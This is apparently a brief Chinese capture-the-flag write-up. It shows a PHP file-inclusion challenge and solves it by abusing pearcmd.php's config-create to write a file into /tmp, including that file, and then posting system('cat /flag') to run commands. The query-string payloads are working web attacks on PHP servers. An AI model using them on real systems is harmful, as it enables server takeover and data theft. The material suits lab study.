DHCP
DHCP
Published on 2023-11-07 / 13 Visits
0
0

Check_register_argc_argv

Check_register_argc_argv

<?php
    error_reporting(0);
    if(isset($_GET['file'])) {
        $file = $_GET['file'];
        
        if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
            die('hacker!');
        }
        
        include($file.".php");
        # Something in phpinfo.php!
    }
    else {
        highlight_file(__FILE__);
    }
?>

查看是文件包含提示我们去看一下phpinfo.php
看了一下发现flag是假的
但是假的flag里有一段话“Check_register_argc_argv”
当开启Check_register_argc_argv 后,可使用 /usr/local/lib/php/pearcmd.php 进行向指定文件写入指定内容
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/cmd.php
后包含/tmp/cmd.php (?file=/tmp/cmd.php) 后post cc=system('cat /flag');即可命令执行
所以我们试一下:
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/mochu7.php
然后包含/tmp/mochu7.php
得到flag


Comment